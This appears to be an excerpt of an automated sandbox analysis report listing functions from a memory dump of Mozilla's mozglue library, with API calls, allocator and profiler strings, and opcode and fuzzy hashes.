Instruction ID: bcbbc3892483b7fbe976a6511f1f06722e6382b14feb3429a0e28ec6d556b748
Opcode Fuzzy Hash: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
Instruction Fuzzy Hash: 8B537F71B057018FD708CF29C680615FBE1BF89328F29C6ADE869AB791D771E841CB85

Function 6C6234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C623EE2

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6261DD
Part of subcall function 6C626180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C62622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624157

Part of subcall function 6C626180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626250
Part of subcall function 6C626180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C62441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C62484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C624896
free.MOZGLUE ref: 6C62489F

Strings

, xrefs: 6C624CD2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction ID: 425deda96fb47af931c991c5e30d7d9987df69aebf97534536190ece58baefe2
Opcode Fuzzy Hash: e8cf5da075cbced52721bc1d16930d65f2486d653105f11d20f33cfc163f5087
Instruction Fuzzy Hash: 34F24A74908B808FC725CF29C08469AFBF1FF8A348F118A5ED99997711DB719886CF46

Function 6C5D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D671C
GetCurrentProcess.KERNEL32 ref: 6C5D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D672F
GetCurrentProcess.KERNEL32 ref: 6C5D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5D6A80
GetSystemInfo.KERNEL32(?), ref: 6C5D6ABE
__Init_thread_footer.LIBCMT ref: 6C5D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C5D6500
detoured.dll, xrefs: 6C5D64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5D6798
nvdxgiwrap.dll, xrefs: 6C5D6513
_etoured.dll, xrefs: 6C5D64ED
user32.dll, xrefs: 6C5D6526

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction ID: 5e06449eb7bac8b114ada78aea9c75b612b7234d7ae38690f2f207143a97b9d0
Opcode Fuzzy Hash: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction Fuzzy Hash: C6F1F470901319DFDB20DF29CC88B9AB7B4AF45308F0586D9D809A3641DB31BE86CF99

Function 6C62C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C62C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E472

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32bc0c6c7207c984a18dbeaf53193d54d342c16f9586cf0e023ab3e5caedc6b0
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D633AC71E0021A8FCB04CFA8C8806EDBBF2FF89314F288269D955AB755D735A945CF94

Function 6C5EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5F1A3E

Strings

~q\l, xrefs: 6C5EED10
~q\l, xrefs: 6C5EED13

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q\l$~q\l
API String ID: 3693777188-2638852642
Opcode ID: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction ID: aef2ffe2e6d0abbeedd87e4e4e735b9fc8aa7e4612fb3fc06bc874db4394af7c
Opcode Fuzzy Hash: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction Fuzzy Hash: E3B31C71E04219CFDB18CFA8C890A9DB7B2FF89304F1586A9D459AB745D730AD86CF90

Function 6C5DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DFF81
LeaveCriticalSection.KERNEL32(6C64E7B8), ref: 6C5E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5E0240
EnterCriticalSection.KERNEL32(6C64E768), ref: 6C5E025B
LeaveCriticalSection.KERNEL32(6C64E768), ref: 6C5E027B

Strings

<jemalloc>, xrefs: 6C5E0D62, 6C5E0D76, 6C5E0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5DFE99, 6C5DFEB7, 6C5DFED3, 6C5E0DB8, 6C5E0DD3, 6C5E19B4
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D67, 6C5E0D7B, 6C5E0DAC

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction ID: 32530da7b225af5604c85f2100c66249ca5f5c44963a3a24052f4869eb3cf05b
Opcode Fuzzy Hash: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction Fuzzy Hash: 31C2BF71A057418FD714CF29C980716BBE1BFC9328F28CA6DE4A98B795DB71E801CB85

Function 6C603E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C627770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>`l,?,?,?,6C603E7D,?,?), ref: 6C62777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C603F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C603F5C
VerSetConditionMask.NTDLL ref: 6C603F8D
VerSetConditionMask.NTDLL ref: 6C603F99
VerSetConditionMask.NTDLL ref: 6C603FA0
VerSetConditionMask.NTDLL ref: 6C603FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C603FB4

Strings

nvd3d9wrap.dll, xrefs: 6C604466
nvinit.dll, xrefs: 6C604479
C>`l, xrefs: 6C603E93

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>`l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-349542667
Opcode ID: 541f868a8b70582239c6af77b07a3b1e835edd2449de1c6b43b8b7887c8faf36
Instruction ID: 068ae00cceeaca843b9ab323e255f0b0dc0fb8002cfedaadcae4e2064b9bf1a8
Opcode Fuzzy Hash: 541f868a8b70582239c6af77b07a3b1e835edd2449de1c6b43b8b7887c8faf36
Instruction Fuzzy Hash: 0F52F071614B488FD714EF24C980ABB77EAEF85308F44492DE5968B782DB70F909CB64

Function 6C5DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DFF81
LeaveCriticalSection.KERNEL32(6C64E7B8), ref: 6C5E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5E0240
EnterCriticalSection.KERNEL32(6C64E768), ref: 6C5E025B
LeaveCriticalSection.KERNEL32(6C64E768), ref: 6C5E027B

Strings

MOZ_CRASH(), xrefs: 6C5E0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5DFE99, 6C5DFEB7, 6C5DFED3, 6C5E0DB8, 6C5E0DD3, 6C5E19B4, 6C5E1A10

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 51abd7766c73c2d5c4cfdd4d295ec88ad8e6a6debea9b52cf942435df98f7d7c
Instruction ID: 70b37ed849cf8b5bee1d1391f068d6f668c5f400a0a326cf6b9bd46540b87e3a
Opcode Fuzzy Hash: 51abd7766c73c2d5c4cfdd4d295ec88ad8e6a6debea9b52cf942435df98f7d7c
Instruction Fuzzy Hash: 57B29E716057418FD718CF29C9D0716BBE1BF89328F28C66DE86A8B796D770E841CB41

Function 6C615600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C615AC8, 6C615CBB
expected a Count entry, xrefs: 6C615AC3
data, xrefs: 6C616131
schema, xrefs: 6C61606D
name, xrefs: 6C615E79, 6C615E8F
expected a Time entry, xrefs: 6C615CB6

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 00d215804a1da7348e01d92ba185a096ba189afb5a2421aa46470c6e9c611394
Instruction ID: df2f90f18238cd78d2e57bab6392c5b8e211eebd7df135a0c3f96c6ca79920bb
Opcode Fuzzy Hash: 00d215804a1da7348e01d92ba185a096ba189afb5a2421aa46470c6e9c611394
Instruction Fuzzy Hash: D1923A75A083418FD724CF28C49079AF7E1BFC9308F15891DE59A9BB51DB30E909CB96

Function 6C612E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C612ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C612EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C612F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C613214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C613242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6136BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C61378D
get , xrefs: 6C613205
set , xrefs: 6C6136EC

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a8b23596a1446396be8279e9b52272c9c3f4b7eb31e49fedcf88b7b90795c1a6
Instruction ID: 6c8e9273c4f71b56b7669b3d890999a13f2080b77501589a4821b66069836d05
Opcode Fuzzy Hash: a8b23596a1446396be8279e9b52272c9c3f4b7eb31e49fedcf88b7b90795c1a6
Instruction Fuzzy Hash: E332637060C3818FD324CF28C49069FB7E2AFC6319F54892DE59A87B51DB31D94ACB5A

Function 6C607E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C607E88
data, xrefs: 6C608280, 6C6083E1
name, xrefs: 6C607ECF, 6C608335
schema, xrefs: 6C6081E3, 6C608311
vdl, xrefs: 6C608207

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vdl
API String ID: 3412268980-2465630707
Opcode ID: 10d9f68704a3db128d8a86bd6e7fae7cbf305df61a470e67e8aa586e45197eff
Instruction ID: 9246e3c30cf84583784e806c2bbb80174be85a467bba1f67c6216165f1d43cff
Opcode Fuzzy Hash: 10d9f68704a3db128d8a86bd6e7fae7cbf305df61a470e67e8aa586e45197eff
Instruction Fuzzy Hash: 8EE170B1B043508BC714CF68884065BF7EABFD9314F15892DE899E7790DBB0ED098B96

Function 6C5E5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2
memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5E7652

Strings

MOZ_CRASH(), xrefs: 6C5E7BA4
ewbl, xrefs: 6C5E5E9C, 6C5E5F22, 6C5E61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E72E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E7BCD, 6C5E7C1F, 6C5E7C34, 6C5E80FD

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewbl
API String ID: 2613674957-4059062753
Opcode ID: 2947d7486878cc69c5fbc25b615bfa38b1cf8d4833a3d6e40ec31de8b5b6a649
Instruction ID: 63d501401ef14b95a12d91cb0f78fec87c48bd87705412b38205e00a5e907d38
Opcode Fuzzy Hash: 2947d7486878cc69c5fbc25b615bfa38b1cf8d4833a3d6e40ec31de8b5b6a649
Instruction Fuzzy Hash: 3D336C716057018FD308CF29C990615BBE2BF89368F29C7ADE9698F7A6D731E841CB41

Function 6C5ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED6A6
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED712
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED7EA

Strings

<jemalloc>, xrefs: 6C5ED827
: (malloc) Error initializing arena, xrefs: 6C5ED82C

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction ID: bc35e40dba5c69a2e18889a69b92f486e11a6336a6dd67d67e250f73c367ca0d
Opcode Fuzzy Hash: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction Fuzzy Hash: 6691A371A047018FD714DF29C89076AB7E2EBC9318F15C92EE59AC7A81D730E845CB86

Function 6C624EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C624EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C624F2E
moz_xmalloc.MOZGLUE ref: 6C624F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C624F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6252E6
Sleep.KERNEL32(00000010), ref: 6C625481
free.MOZGLUE(?), ref: 6C625498

Strings

(, xrefs: 6C625250

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: f06e72f119bf78f6c265325d299cada9a18929326a7479db209f09b47ab699d7
Instruction ID: e0d15053732688a997b254a410e4ae68631333b67bfd511e3ffa6a5bbb491f25
